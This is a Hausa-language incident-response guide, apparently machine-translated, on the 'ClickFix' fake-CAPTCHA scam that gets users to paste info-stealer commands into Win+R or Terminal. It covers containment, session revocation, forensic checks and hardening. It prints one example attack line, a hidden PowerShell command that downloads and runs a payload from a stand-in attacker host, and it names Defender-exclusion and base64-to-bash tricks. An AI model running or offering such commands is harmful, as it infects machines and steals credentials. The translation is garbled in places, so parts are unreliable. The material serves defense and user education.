The 'ClickFix' karya CAPTCHA zamba: Me yasa Latsa Win + R da Ctrl + V ke Gudun Info-Stealer Malware¶

Idan kawai ka danna maɓallin "Ni ba mutum-mutumi ba ne" ko "Tabbatar cewa kai ɗan adam ne" a kan gidan yanar gizon yanar gizon yanar gizon yanar gizon yanar gizon yanar gizon yanar gizon yanar gizon yanar gizon yanar gizon yanar gizon yanar gizon yanar gizon yanar gizon yanar gizon yanar gizon yanar gizo, ko kuma ka ga wani Cloudflare Turnstile na karya, Google Meet, Zoom, ko buƙatun sabunta masarrafa) wanda ya umarce ka da danna Windows + R (ko bude ** macOS Terminal**), latsa Ctrl + V (Cmd + V), da kuma buga Enter, ** Kwamfutarka ta aiwatar da kayan aikin malware kai tsaye - galibi Lumma Stealer, Vidar, StealC, RedLine, ko Atomic macOS Stealer (AMOS) bayanan-sata**. Babu halaltaccen CAPTCHA, rajistan Cloudflare, ko kayan aikin taron bidiyo a Duniya da zai taɓa tambayar ɗan adam ya buɗe maganganun Run Run (Windows Run).Win + R), Windows Terminal, Command Prompt, ko MacOS Terminal kuma liƙa umarni. Lokacin da ka danna akwatin "Tabbatar" na karya akan wannan shafin yanar gizon, JavaScript na mugunta (navigator.clipboard.writeText()) yayi kwafin wani ɓoye na PowerShell, mshta.exe, rundll32, ko curl | bash umarni akan allo na allo. A cikin 3 zuwa 6 seconds na latsawa Enter, wancan rubutun ya zazzage abin aiwatarwa na cikin ƙwaƙwalwar ajiya wanda ya ɓata kuma ya fitar da kowane kalmar sirri da aka adana, katin kiredit mai cika autofill, kari na haɓaka mai bincike na cryptocurrency (MetaMask, Phantom, Rabby), Discord/Telegram token, da shiga cikin aiki ** kuki na zama ** daga Chrome, Edge, Brave, da Firefox - kyale maharan su sace Gmel, Microsoft 365, banki, da asusun kamfanoni ba tare da buƙatar kalmar sirrin ku ba ko Tabbacin Factor Biyu (2FA). Don zurfafa gyara na zaman binciken da aka sace, kuma tuntubi Satar kuki na zaman, malware infostealer, da soke maɓallin wucewa; idan kun riga kun ga kuɗi suna fita daga walat ɗin tsarewa, tsalle nan da nan zuwa magudanar walat na cryptocurrency da kuma jimlar jimlar iri; ko kuma idan mai zamba ya yi magana da ku don shigar da AnyDesk ko ScreenConnect, duba tech support pop-up zamba da kuma m tebur cire. Idan wannan kamuwa da cuta ya faru ne a wurin aiki na asibiti, cibiyar sadarwa na birni, ko kuma ya haɗa da satar lafiyar rai nan take, kira lambar gaggawa ta gida.911 a Amurka da Kanada, 112 a fadin Tarayyar Turai, 999 a Ƙasar Ingila) ko duba kundin adireshin mu na lambobin gaggawa.

Yi wannan yanzu¶

1. ** Cire kebul na Ethernet ko kashe Wi-Fi akan kwamfutar da ta kamu da cutar cikin dakika 5**: Masu satar bayanai kamar Lumma Stealer Kunna bayanan burauzar ku SQLite bayanai (Login Data, Cookies, Network/Cookies, Web Data) in a .zip ajiya a %TEMP% kuma loda shi zuwa Command-and-Control (C2) uwar garken, sa'an nan kuma sau da yawa tura wani abu na biyu Remote Access Trojan (RAT), SOCKS5 wakili na zama, ko mai ɗaukar fansa. Yanke haɗin intanet yana dakatar da lodi na biyu da ci gaba da yawowar allo/ bugun maɓalli nan da nan.
2. **KADA KA yi amfani da kwamfutar da ta kamu da cutar don canza kalmomin shiga - karban wayar hannu mai tsabta (akan bayanan salula) ko kwamfutar da ba ta kamu da cutar ba a yanzu ***: Idan maɓalli mai tsayi, mai satar allo, ko HVNC (Hidden Virtual Network Computing) tsarin yana gudana a cikin RAM akan PC ɗin da ya kamu da cutar, yana buga sabbin kalmomin shiga akan wannan PC ɗin yana ba da sabbin takaddun shaida kai tsaye ga maharin.
3. **Daga wayarku mai tsafta, danna "A fita daga duk na'urori / soke duk zaman aiki" akan imel ɗinku na farko (Gmail / Microsoft 365 / Yahoo), mai sarrafa kalmar sirri, da kuma aiki SSO (Okta / Entra ID) NA FARKO ***:
4. Me yasa kawai canza kalmar sirrinku bai isa ba: Masu satar bayanai suna satar kukis ɗin zaman tantancewar ku (SAPISID, SID, ESTSAUTH, .ROBLOSECURITY, li_at). A kan dandali da yawa, kuki ɗin zaman da aka fitar ya kasance yana aiki na kwanaki ko makonni sai dai idan ka latsa kai tsaye Fita daga duk zaman/Sake Alamu DA juya kalmar wucewa.
5. klzzwxh:43: Ziyarci myaccount.google.com/device-activity -> zaɓi kowane zaman tebur -> danna Sign out, sannan canza kalmar wucewa ta Google kuma bincika Settings -> Forwarding and POP/IMAP don dokokin turawa shiru.
6. ** Microsoft / Outlook / ID ID ***: Ziyarci mysignins.microsoft.com/security-info -> danna Sign out ko'ina, sannan ka sake saita kalmar wucewa.
7. ** Idan kuna da ƙarin wallet ɗin cryptocurrency (MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Exodus, Electrum) akan waccan kwamfutar, fitar da duk kuɗi zuwa sabon jumlolin iri akan na'ura mai tsafta nan da nan**:
8. Lumma Stealer kuma AMOS kwafi rufaffen Local Extension Settings IndexedDB/LevelDB vault fayiloli daga Chrome/Brave/Edge kai tsaye zuwa uwar garken maharin, inda gungu na GPU ke ba da ƙarfi don buɗe kalmar wucewa ta gida (ko karanta jumlar zuriyar kai tsaye daga RAM idan an buɗe). A ɗauka kowane jimlar iri da maɓallin keɓaɓɓen da aka taɓa adanawa akan wannan PC ɗin an lalatar da su kashi 100.
9. **Kafin goge PC, adana ainihin umarnin da kuka liƙa don sanin abin da aka kashe ***:
10. A kan Windows, buɗe Notepad (yayin da har yanzu a layi) kuma latsa Ctrl + V don liƙa duk abin da ke zaune a cikin allo, ko latsa Windows + R kuma danna kibiya mai saukewa don karanta Mafi Yawan Amfani da Kwanan nan (MRU) Gudanar da tarihin da aka adana a ciki HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Ɗauki hoton waccan umarni tare da wayarka don amsawar abin da ya faru.
11. ** Yi tsarin aikin USB mai tsafta ya sake shigar (ko cikakken gogewa ta layi) maimakon dogaro da saurin riga-kafi*: Na zamani ClickFix Abubuwan biya suna amfani da halaltaccen sa hannu na binaries na Windows (Living-off-the-Land Binaries ko LOLBins kamar mshta.exe, powershell.exe, certutil.exe, regsvr32.exe, kuma AutoIt3.exewanda ke shigar da tsarin tsarin halal (explorer.exe, svchost.exe) kuma sau da yawa ƙara keɓancewa ga Windows Defender (Add-MpPreference -ExclusionPath).

Bishiyar yanke shawara: ɗaukar hoto nan da nan da dawowa bayan ClickFix Win+R ko Manna Terminal¶

Bi wannan bishiyar yanke shawara lokacin da kuka gane kun liƙa umarni a ciki Win + R, Windows Terminal, ko MacOS Terminal:

flowchart TD
    Start["Manna CAPTCHA na karya / Kuskuren Gyara umarnin cikin Win + R, PowerShell, ko MacOS Terminal"] --> Disconnect["MATAKI 1 (0 zuwa 10 seconds): Cire Ethernet & Kashe Wi-Fi akan Kwamfuta Mai Cutar Nan take."]

    Disconnect --> CryptoCheck{"Shin Wannan Kwamfuta tana da Wallet ɗin Crypto (MetaMask, fatalwa, Fitowa, Ledger Live, Maɓallan Ajiye)?"}

    CryptoCheck -->|"Ee"| EvacCrypto["MATAKI 2 (GAGGAWA): A Waya Tsabtace Wallet/Hardware, Ƙirƙirar SABON MAGANAR Iri kuma Canja wurin Duk Kayayyakin Nan take."]
    CryptoCheck -->|"A'a"| CleanDevice["MATAKI 2: Canja zuwa Tsabtace Wayar Waya (Bayanan Tantanin halitta) ko Na'urar da ba ta da cuta"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["MATAKI NA 3: Soke Zama-Sabar Sabar & Juya Kalmomin shiga cikin Tsayayyen Tsarin Farko"]

    RevokeSessions --> P1["1. Imel na Farko (Gmail / M365 / Proton): Kashe Duk Zama na Na'ura, Sake saitin Kalmar wucewa, Duba Dokokin Gabatarwa"]
    P1 --> P2["2. Aiki / Kamfanin SSO (Okta / Entra ID / VPN / AWS / GitHub / SSH Keys): Sanar da SOC na Kamfanin Nan da nan idan An Shiga Asusun Aiki"]
    P2 --> P3["3. Kudi, Banki, PayPal, Stripe, Amazon, Steam, Discord, da Accounts Social Media"]

    P3 --> InspectPayload["Mataki na 4 (Kan layi akan PC mai Cutar): Bincika Rijistar RunMRU & PowerShell ID na Ayyukan Ayyuka na 4104 don Gano Ƙirar Biyan Kuɗi"]

    InspectPayload --> WipeChoice{"Shin Wannan Ƙarshen Ƙarshen Kamfanin ne ko Kwamfuta ta Keɓaɓɓu?"}
    WipeChoice -->|"Kamfanin / BYOD tare da Samun Aiki"| CorpIR["Injin Wajen Layi na Hannu zuwa Tsaron IT / SOC don Binciken Forensic EDR da Sake Hoton BitLocker"]
    WipeChoice -->|"Windows / Mac na sirri"| CleanInstall["Takaddun Takaddun Takaddun Takaddun Ajiye kawai (A'a .exe/.bat/.dmg) -> Tsabtace USB -> Shafa ɓangarori & Sake shigar da OS"]

Mataki na 1: Anatomy na harin "ClickFix" - Yadda shafin yanar gizon ke sacewa Win + R¶

Fahimtar abin da ya faru a cikin tsarin aikin ku a cikin waɗannan daƙiƙa 5 yana bayyana dalilin da yasa wasu fayiloli da asusun ke cikin haɗari nan take yayin da wasu ba sa.

1. Ayyukan injiniya na zamantakewa na 3 da aka yi amfani da su a cikin yakin ClickFix¶

Mahara suna rarraba maɓalli na ClickFix a duk faɗin ɓarna (sakamakon binciken da aka tallafawa), rugujewar rukunin yanar gizon WordPress, ɓangarori na software/tashar jiragen ruwa, ma'ajin GitHub na karya, da imel ɗin phishing: 1. ** Akwatin Cloudflare na karya / Google reCAPTCHA ("Tabbatar da kai Mutum ne"): Kuna danna akwatin "Ni ba mutum-mutumi ba". Maimakon alamar alamar kore, bugu yana bayyana yana karantawa: "An gano zirga-zirgar da ba a saba gani ba. Don tabbatar da cewa kai ɗan adam ne, cika waɗannan matakai 3: 1. Latsa. Windows + R a kan madannai. 2. Latsa Ctrl + V. 3. Latsa Enter." 2. ** Kuskuren Rubutun Rubutun Chrome / Edge ko Kuskuren Sabuntawa ("Wani abu yayi kuskure wajen nuna wannan rukunin yanar gizon"): Fahimtar bayanan yana rufe gidan yanar gizon tare da maganganun Chrome mai kama da hukuma wanda ke da'awar bacewar takardar shaidar tushe ko sabuntawar rubutu yana buƙatar buɗe Windows PowerShell / Terminal kuma liƙa "rubutun gyara na hukuma." 3. ** Zuƙowa na Karya / Taron Google / Makarufin Ƙungiyoyin Microsoft ko Kuskuren Kamara ***: An aika ta hanyar gayyatar tambayoyin aiki na karya ko haɗin haɗin gwiwar abokin ciniki, shafin yana nuna allon bidiyo mai jujjuyawa kuma yana sa macOS da masu amfani da Windows buɗe ** Terminal ** kuma liƙa umarnin "sake saitin direba".

2. Me yasa umarnin yayi kama da mara lahani a cikin Win + R akwati¶

The Windows + R (Run) Akwatin rubutun magana kawai ** haruffa 259 fadi a gani ** (MAX_PATH Filin shigar da UI), kuma yana nuna kawai **ƙarshen *** na liƙa mai liƙa bayan siginan ku ya yi tsalle zuwa dama. Maharan suna amfani da wannan guntun gani ta hanyar sanya mugunyar umarninsu tare da sarari ko kawo karshen ta da sharhin karya:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. Daidai me Lumma Stealer, StealC, kuma AMOS sata a cikin dakika 4¶

Mataki na 2: Kulle Account & Sake Zama (minti 1 zuwa 30 - Akan Na'urar Tsaftace)¶

Yayin da PC ɗin da ya kamu da cutar ya kasance gaba ɗaya cire haɗin intanet daga Intanet, yi amfani da ** tsaftataccen wayo ko kwamfuta ta biyu ** don aiwatar da wannan ainihin jerin abubuwan.

Mataki 1: Kulle Imel Accounts (Gmail, Microsoft 365 / Outlook, Yahoo, Apple iCloud)¶

Don **kowane asusun imel ɗin da aka shiga cikin kowane bayanan burauzaDefault, Profile 1, Work) akan wannan kwamfutar: 1. Kashe duk zaman na'urar aiki: - *Google/Gmail: Je zuwa myaccount.google.com/device-activity -> zaɓi na'urar Windows/Mac mai cutar (da duk wani zaman da ba a sani ba) -> danna ** Sa hannu . Hakanan ziyarci myaccount.google.com/connections da soke duk wani aikace-aikacen OAuth na ɓangare nuku. - **Microsoft (Personal Work M365) Je za account.live.com/proofs/Manage (na sirri)o mysignins.microsoft.com/security-info (aiki) -> danna ** Sa hannu a ko'ina ***. 2. Canja kalmar wucewa ta imel zuwa sabuwar-sabon, kalmar sirri ta musamman da aka adana kawai akan a'urarka mai tsafta. 3. * A duba Dokokin Akwati na Shiga, Tace, da Aiwatar da Kai kai tsaye*: Masu satar bayanai suna gudanar da rubutun da aka sata waɗanda ke shiga cikin ukis ɗin Gmail/Outlook da aka sata a cikin mintuna kaɗan na kamuwa da cuta kuma su ƙirƙiri ɓoye ɓoye: dan saƙon ya nshi "Tsaro", "Code", "Coinbase", "Binance", "Bank", ko "Steam" -> Alama kamar Karanta, Gaba ga mai hari, Matsa zuwa Shara/Ciyarwar RSS. - A cikin Gmail: Bude kallon tebur -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses KUMA Forwarding and POP/IMAP. Share duk wani tacewa ko adreshin turawa wanda ba a san shi ba nan take. - ** A cikin Outlook / M365 ***: Buɗe Settings -> Mail -> Rules KUMA Mail -> Forwarding KUMA Mail -> Junk email (duba masu aikawa da aka katange don tabbatar da cewa maharin bai tarewa ba no-reply@accounts.google.com ko bankin ku).

Mataki na 2: Kulle masu sarrafa kalmar sirri (Password Managers)Bitwarden, 1Password, Dashlane, KeePass, iCloud Keychain)¶

• ** Shin kun adana kalmomin shiga cikin Chrome / Edge / Mai sarrafa kalmar wucewa ta Brave?** **Kowace kalmar sirri guda daya da aka adana a cikin Chrome, Edge, Brave, Opera, ko Firefox (sai dai idan Firefox tana da saitin kalmar sirri ta al'ada) wanda mai satar bayanai ne ya fitar dashi a fili.
• Shin kun yi amfani da keɓaɓɓen Manajan kalmar wucewa (Password Manager)1Password, Bitwarden, Proton Pass, Keeper)
• Idan rumbun yana kulle a lokacin da kuka aiwatar da umarnin, rufaffen vault ɗin ku ya kasance yana kiyaye shi ta Babban Kalmar wucewa / Maɓallin Sirrin ku.
• Idan tsawo na vault ya kasance ** buɗe a cikin ƙwaƙwalwar ajiya ** (ko kuma idan kun buga kalmar wucewa ta Babban kalmar sirri bayan kun aiwatar da umarnin), shiga cikin gidan yanar gizon mai sarrafa kalmar wucewa daga wayarku mai tsabta, danna ** Kiyaye duk zaman** (Bitwarden: Settings -> My Account -> Deauthorize Sessions), jujjuya kalmar wucewa ta Jagora, kuma ba da fifikon jujjuya mahimman bayanai a cikin rumbun ajiya.

Mataki na 3: Soke Mai Haɓakawa, Kamfanin, da Alamomin Taɗi (GitHub, AWS, Discord, Telegram, Steam)¶

• ** Rashin jituwa *: Canja kalmar wucewa ta Discord ** yana lalata tsohuwar alamar tabbatarwa ta atomatik (leveldb alama). Nan da nan canza kalmar wucewa ta Discord daga wayarka, duba Settings -> Devices -> ** Fitar da duk sanannun na'urorin ***, kuma duba Settings -> Authorized Apps kuma Settings -> Billing (cire ajiyar katunan kuɗi/PayPal).
• Telegram: A wayar ku, bude Telegram -> Settings -> Devices -> matsa ** Kashe Duk Sauran Zama** nan da nan (wannan yana kashe duk wanda aka sace tdata babban fayil clone).
• Steam: A wayarka, buɗe Steam app -> Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, canza kalmar sirrinku, kuma duba cewa ba a yi rajistar Maɓallin API ba a steamcommunity.com/dev/apikey (masu zamba suna yin rajistar maɓalli na API ɗin Steam Web API don sace tayin ciniki).
• ** GitHub / GitLab / AWS / SSH ***: Idan kai injiniyan software ne ko sysadmin, ziyarci github.com/settings/sessions (cire zaman bincike), github.com/settings/keys (share maɓallan SSH da aka adana akan waccan PC), github.com/settings/tokens ( soke Alamomin Samun Kai tsaye), kuma juya kowane -/.aws/credentials Maɓallan IAM a cikin AWS IAM console nan da nan. Duba jagorar sadaukarwar mu akan Sarkar samar da npm/PyPI daidaitawa da jujjuyawar maɓalli na wurin aiki.

Mataki na 3: Binciken Forensic na kan layi - Gano ainihin abin da ke gudana akan PC ɗin ku¶

Kafin ka goge da sake shigar da kwamfutar da ta kamu da cutar (ko yayin shirya rahoto don ƙungiyar tsaro ta kamfanoni), zaku iya bincika abin da ke cikin aminci. ClickFix umarnin yayi ** yayin da ake ajiye injin 100% a layi (a kashe Wi-Fi, an cire Ethernet)**.

1. Duban Windows Win + R Tarihi da Logs na PowerShell¶

1. ** Duba Windows Run (Win + RRegistry MRU (Most Recently Usedlist**: Bude regedit.exe ko taga PowerShell na layi kuma ku kunna:

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   Kowane umarni da aka taɓa bugawa ko liƙa a ciki Win + R an ajiye shi anan ƙarƙashin kaddarorin a, b, c, da sauransu. Dubi umarnin da aka rubuta a harafin da aka nuna a farko MRUList.
2. Duba Rubutun PowerShell Block Log Log log (ID na taron 4104*: Ko da maharin ya yi amfani da shi -WindowStyle Hidden (-w hda Base64 encoding (-EncodedCommand / -e), Windows ta atomatik yana yankewa kuma yana yin rikodin rubutun PowerShell masu tuhuma a cikin ** Viewer Event **:
3. Latsa Win + X -> Mai duba Event -> kewaya zuwa Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
4. Tace ID na taron 4104 (Execute a Remote Command). Za ku ga ainihin rubutun PowerShell da aka ɓoye, URL ɗin da aka sauke daga ciki, da babban fayil a ciki. %TEMP%, %AppData%, ko %LocalAppData% inda ta sauke nauyin karatun ta na biyu.
5. **Duba inda aka shigar da juriya akan Windows ***: Masu satar bayanai da rubutun lodinsu (NetSupport Manager RAT, Amadey, SectopRAT, AsyncRAT) kafa sake yin rayuwa a wurare huɗu:

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

   (Idan kun gani C:\, C:\Users, %AppData%, ko .exe kara a karkashin ExclusionPath ko ExclusionProcess, malware ya makantar da Microsoft Defender a kan injin ku.)

2. Duba macOS bayan Terminal ClickFix (Atomic macOS Stealer / AMOS ko Poseidon)¶

A kan macOS, Shafukan ClickFix suna gaya wa mai amfani don buɗe ** Terminal (Cmd + Space -> Terminal)** kuma liƙa umarni mai tushe64 kamar echo "..." | base64 -d | bash. 1. Yayin layi, duba tarihin harsashi (cat -/.zsh_history | tail -n 30 ko cat -/.bash_history). 2. Bincika idan malware sun shigar da LaunchAgent na bango mai tsayi:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

Mataki na 4: Tsaftace Gyara - Me yasa yakamata ku goge kuma ku sake sakawa (ko gudanar da ceton layi)¶

Hukumomin tsaro (CISA, FBI, NCSC) ba da shawarar sosai ** gogewa da sake shigar da tsarin aiki daga kebul na USB mai tsabta ** bayan mai satar bayanai ko LOLBin kisa, saboda masu ɗaukar kaya akai-akai suna shigar da lambar shell cikin halaltaccen tsarin binaries, shigar da direbobin rootkit/proxy, ko barin gida a kwance (NetSupport RAT / Cobalt Strike).

Tsabtace Tsabtace mataki-mataki & Ajiyayyen Fayil mai aminci¶

1. ** Yayin da PC ɗin da ya kamu da cutar ke layi, adana fayilolin bayanai KAWAI masu tsafta ***: Kwafi takaddun sirri kawai, hotuna, maƙunsar bayanai, da lambar tushe (.pdf, .jpg, .docx, .xlsx, .mp4, .txt) zuwa kebul na USB na waje. Kada a sake dawowa .exe, .msi, .bat, .ps1, .vbs, .js, .lnk, .dmg, .pkg, ko browser User Data manyan fayiloli.
2. ** A KAN BIYU, kwamfuta mai tsafta ***, ƙirƙirar kebul na USB 11 Media Creation bootable (microsoft.com/software-download/windows11) ko yanayin farfadowa da macOS.
3. ** Boot daga mai sakawa USB mai tsabta ***, share duk abubuwan da ke akwai akan boot SSD (don haka EFI System Partition, MSR, da ɓangaren OS na farko an ƙirƙira su), kuma shigar da kwafin tsarin aiki mai tsabta.
4. Idan ba za ku iya goge injin nan da nan ba:
5. Cire duk keɓancewar Mai tsaro (Remove-MpPreference -ExclusionPath ...).
6. Shiga cikin ** Yanayin Amintaccen Windows tare da naƙasasshen hanyar sadarwa** (ko taya daga ** Kaspersky Rescue Disk / ESET SysRescue Live USB ), kuma gudanar da cikakken sikanin layi ta amfani da ** Wajen Layi Mai Kare Microsoft (Start-MpWDOScan, ** Malwarebytes ***, da ** ESET Scanner kan layi *, da bincika kowane shigarwa a cikin ** Sysinternals Autoruns (autoruns64.exe) tare da Boye shigarwar Microsoft ba a bincika ba.

Mataki na 5: Hardening Windows da macOS don haka ClickFix ba zai sake faruwa ba¶

• ** Boye ko kashe shi Windows + R (Run) tattaunawa don dangin da ba fasaha ba ko daidaitattun masu amfani da kamfani ta hanyar Manufofin Rukuni / Rajista ***: Saita NoRun = 1 (DWORD) karkashin HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer gaba daya ya hana Windows + R gajeriyar hanyar keyboard. Domin kashi 95 cikin 100 na hare-haren ClickFix sun dogara da danna mai amfani Win + R, kashe maganganun Run yana dakatar da harin sanyi kafin mai amfani ya iya manna wani abu.
• ** Canza tsohuwar ƙungiyar fayil don .hta, .vbs, .js, kuma .wsf rubutun zuwa notepad.exe**: naƙasasshe mshta.exe kuma wscript.exe Ta hanyar Rage Haruffa na Windows Attack (ASR) dokoki ko tarayya .hta/.vbs/.js tare da Notepad yana hana aiwatar da rubutun.
• ** Haɓaka mahimman asusu zuwa maɓallan maɓalli na Hardware-Bound (FIDO2 / WebAuthn Maɓallan tsaro kamar YubiKey)**: Yayin da masu satar bayanai za su iya satar kukis na zaman daga mai bincike bayan shiga, maɓallan tsaro na hardware (FIDO2) tare da gajeriyar zaman rayuwa da ci gaba da kimantawa da ci gaba (CAE / Tabbatattun Zama-Daure na Na'ura DBSC) hana maharan sake tabbatarwa ko fitar da takaddun shaida.
• ** Shigar da tallan burauza da mai hana ɓarna.uBlock Origin / uBlock Origin Lite) da kuma ba da damar Ingantaccen Bincike mai aminci**: Fiye da kashi 60 na cututtukan ClickFix sun samo asali ne daga tallace-tallacen bincike na Google/Bing da ke kwaikwayi ingantacciyar software (Slack, Notion, OBS, Homebrew, WinSCP, TradingView) ko shafukan yawo.

Lambobin gaggawa na yanki da ka'idojin hukumar¶

Idan ClickFix / Lumma Stealer kamuwa da cutar da ke da alaƙa da bayanan kamfanoni, tsarin kiwon lafiya, asusun kuɗi, ko cibiyoyin sadarwar gwamnati, ba da rahoton lamarin nan da nan ta tashoshi na hukuma:

• Amurka da Kanada:
• Tsarin Rayuwa-Tsarin Gaggawa / Mahimman Kayan Gaggawa: Kiran Kira 911 idan kamuwa da cuta ya rushe tsarin asibiti ko ayyukan lafiyar jama'a.
• ** Cibiyar Kokarin Laifukan Intanet na FBIIC3) (Amurka)**: Aiwatar da rahoton nan take a ic3.gov (musamman idan cryptocurrency, wayoyi na banki, ko Amincewar Imel na kasuwanci na kamfani ya samo asali daga kukis ɗin zaman da aka sace).
• Hukumar Tsaro ta Cyber (Cybersecurity and Infrastructure Security Agency)CISA(Amurka): Ya kamata ƙungiyoyin kasuwanci da ƙungiyoyin samar da ababen more rayuwa su bayar da rahoton cin zarafi na infostealer zuwa 1-844-Say-CISA (1-844-729-2472) ko cisa.gov/report.
• ** Cibiyar Yaki da Zamba ta Kanada (CAFC) & Cibiyar Intanet ***: Kira 1-888-495-8501 ko bayar da rahoto a cyber.gc.ca.
• ** United Kingdom:
• Ayyukan Gaggawa: Kiran Kira 999 (ko101 ga 'yan sandan da ba na gaggawa ba).
• ** Zamba da NCSC *: Ba da rahoton laifukan yanar gizo da satar kuɗi zuwa ** Zamba (Zamba)0300 123 2040 / actionfraud.police.uk). Idan bayanan abokin ciniki na kamfani ko takaddun shaida an fitar da su, tantance tilas ** sanarwar GDPR na UK na awa 72 ga ICO (0303 123 1113)**.
• ** Tarayyar Turai ***:
• Ayyukan Gaggawa: Kiran Kira 112 a duk ƙasashe membobin EU.
• GDPR Mataki na 33 & Rahoton NIS2 CSIRT: Domin Lumma Stealer exfiltrates duk browser Login Data, Cookies, da caches autofill, duk wani kwamfutar tafi-da-gidanka da ya kamu da cutar da ke riƙe da ma'aikaci ko bayanan sirri na abokin ciniki ya ƙunshi ** tabbatar da keta bayanan sirri **, yana buƙatar ƙima don sanarwar 72 na sanarwar zuwa Hukumar Kare Bayanai ta ƙasa.DPA).
• ** Ostiraliya da New Zealand ***:
• Ayyukan Gaggawa: Kiran Kira 000 a Ostiraliya ko 111 in New Zealand.
• ** Cibiyar Tsaro ta Intanet ta AustraliyaACSC / ReportCyber)**: Kira 1300 CYBER1 (1300 292 371* ko fayil a cyber.gov.au (kuma a tuntuɓi IDCARE a 1800 595 160 don dawo da asali). A New Zealand, bayar da rahoto ga CERT NZ (0800 237 869).
• **Indiya da Asiya-Pacific:
• Layin Taimakon Laifukan Intanet na Kasa na Indiya & CERT-In: Kira 1930 nan da nan idan zamba na kudi ya faru, yi fayil a cybercrime.gov.in, da kuma bayar da rahoton cin zarafin ƙungiyar zuwa CERT-In (incident@cert-in.org.in* a cikin 6 hours.

Tambayoyin da ake yawan yi¶

na bude Win + R kuma danna Ctrl + V, don haka rubutun ya bayyana a cikin akwatin, amma na gane ya yi kama da inuwa sai na danna "Cancel" BA TARE da dannawa ba. Enter. Shin na kamu da cutar?¶

A'a, kuna lafiya gaba ɗaya. Shafin yanar gizon mai lilo yana iya kwafin rubutu a cikin allo ta amfani da JavaScript (navigator.clipboard.writeText), da latsa Win + R ta biyo baya Ctrl + V kawai liƙa waccan igiyar rubutu a cikin akwatin shigarwar Run Run. Babu wani abu da zai aiwatar har sai kun danna Shiga ko danna Yayi. Idan kun danna Soke ko kuma ya rufe Gudu akwatin ba tare da dannawa ba Shiga, ba a kaddamar da wani umarni ba. Kawai share allon allo ta kwafin kalma mara lahani kamar sannu a cikin Notepad kuma rufe magudanar burauza.

Me yasa Windows Defender ko riga-kafi na ba su toshe umarnin lokacin da na liƙa shi a ciki Win + R?¶

Domin ku - mai amfani da ɗan adam - an danna jiki Win + R kuma buga Shiga, Windows yana ɗaukar umarnin azaman aikin gudanarwa na gangan wanda aka ƙaddamar daga Explorer.exe maimakon fayil mara amana da aka sauke daga intanit (wanda yawanci zai ɗauki Mark-of-the-Web). Yanki.Mai ganewa tag). Bugu da ƙari, sarƙoƙin ClickFix suna amfani da ginanniyar haɗin gwiwar Microsoft da aka sanya hannu (mshta.exe, powershell.exe, conhost.exe, ko sa hannu na wasu masu fassara kamar AutoIt3.exe) don haɗawa da ɓarna kayan aikin kai tsaye a cikin RAM, galibi ana aiwatarwa Ƙara-MpPreference -Hanyar Warewa "C:\" a cikin millisecond na farko kafin rubuta duk wani fayil ɗin malware da za a iya gane shi zuwa faifai.

Shin mai satar bayanai yana satar fayiloli daga duk asusun mai amfani akan PC na, ko bayanan shiga na kawai (Default vs. Profile 1, Profile 2)?¶

Masu satar bayanai suna dubawa kowane babban fayil na bayanan burauzar a cikin asusun mai amfani da Windows (%LocalAppData%GoogleChrome Data UserDefault, Bayanan martaba 1, Bayanan Bayani na 2, da sauransu, a cikin Chrome, Edge, Brave, Opera, da Firefox), ko da waɗannan bayanan martaba na biyu ba su da buɗaɗɗen taga a lokacin. Wannan yana nufin idan kun kiyaye bayanin martabar Chrome na "Aiki" daban da kuma bayanan martaba na "Personal" a ƙarƙashin shigar Windows iri ɗaya, Duk bayanan martaba sun sami adana kalmomin sirri da kukis ɗin zaman lokaci guda.

Me zai faru idan ina amfani da kalmar wucewa akan asusun Google ko Microsoft - shin mai satar bayanan ya saci maɓalli na?¶

Ya dogara da inda aka adana Fas ɗin, kuma mafi mahimmanci, tabbas ya saci kuki mai aiki da aka ƙirƙira bayan ka shiga tare da wannan maɓalli. Da farko, idan an riga an shigar da ku cikin Google/Microsoft a cikin Chrome/Edge akan PC ɗin, maharin baya buƙatar kalmar wucewar ku saboda sun sace kuki ingantaccen zaman ku - don haka dole ne ku danna. Fita daga duk zaman akan na'ura mai tsabta. Na biyu, idan an adana kalmar wucewa ta Windows Hello (Mai Rarraba TPM 2.0 guntu hardware) ko akan YubiKey na zahiri ko iPhone, maɓallin keɓaɓɓen da ke cikin guntu hardware ba zai iya fitar da malware ba. Koyaya, idan kun adana maɓallai masu daidaitawa a cikin buɗaɗɗen buɗaɗɗen maɓalli na buɗaɗɗen kari akan waccan PC, soke waɗannan maɓallan a cikin saitunan tsaro na asusunku nan da nan.

Ta yaya Google Chrome's "App-Bound Encryption" yake?v20 cookies) ya shafa, kuma ya aikata Lumma Stealer ketare shi?¶

